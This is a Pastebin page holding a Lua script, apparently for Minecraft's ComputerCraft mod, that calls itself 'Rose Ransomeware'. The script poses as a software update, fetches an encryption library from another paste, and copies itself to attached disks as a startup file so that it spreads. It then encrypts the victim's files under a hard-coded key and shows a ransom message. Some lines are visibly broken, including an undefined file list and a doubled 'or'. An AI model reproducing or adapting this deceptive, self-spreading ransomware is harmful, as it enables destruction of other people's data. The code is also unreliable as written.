Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- print("Updating software, please wait")
- fs.delete("virus")
- fs.makeDir("virus")
- shell.run("pastebin get DMx8M0LP virus/aeslua")
- os.loadAPI("virus/aeslua")
- if fs.exists("disk") and fs.isDir("disk") then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- end
- fs.copy("", "disk/startup")
- end
- local dec = "F()$HI$IF)$KIF"
- for _,v in pairs(files) do
- if string.sub(v, 1,5) == "virus" then
- else
- print("Found file " .. v)
- end
- end
- print("starting enc")
- local iv = {}
- for i = 1,16 do iv[i] = math.random(1,255) end
- for _,v in pairs(files) do
- if v == "virus/aeslua" or or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" then
- else
- local hBf = fs.open(v, "r")
- local stuff = hBf.readAll()
- local encrypted = aeslua.encrypt(dec,stuff)
- print("Encrypted file " .. v)
- hBf.close()
- hAf = fs.open(v, "w")
- hAf.write(encrypted)
- hAf.close()
- end
- end
- term.clear()
- term.setCursorPos(1,1)
- print("--- [Rose Ransomeware] ---")
- print("All major files on this pc have been encrypted.")
- print("Reclaiming your files is almost impossible, unless you have the decrypt floppy.")
- print("Obtaining the decrypt floppy is possible, however very difficult.")
- print("--- [Rose Ransomeware] ---")
Advertisement
Add Comment
Please, Sign In to add comment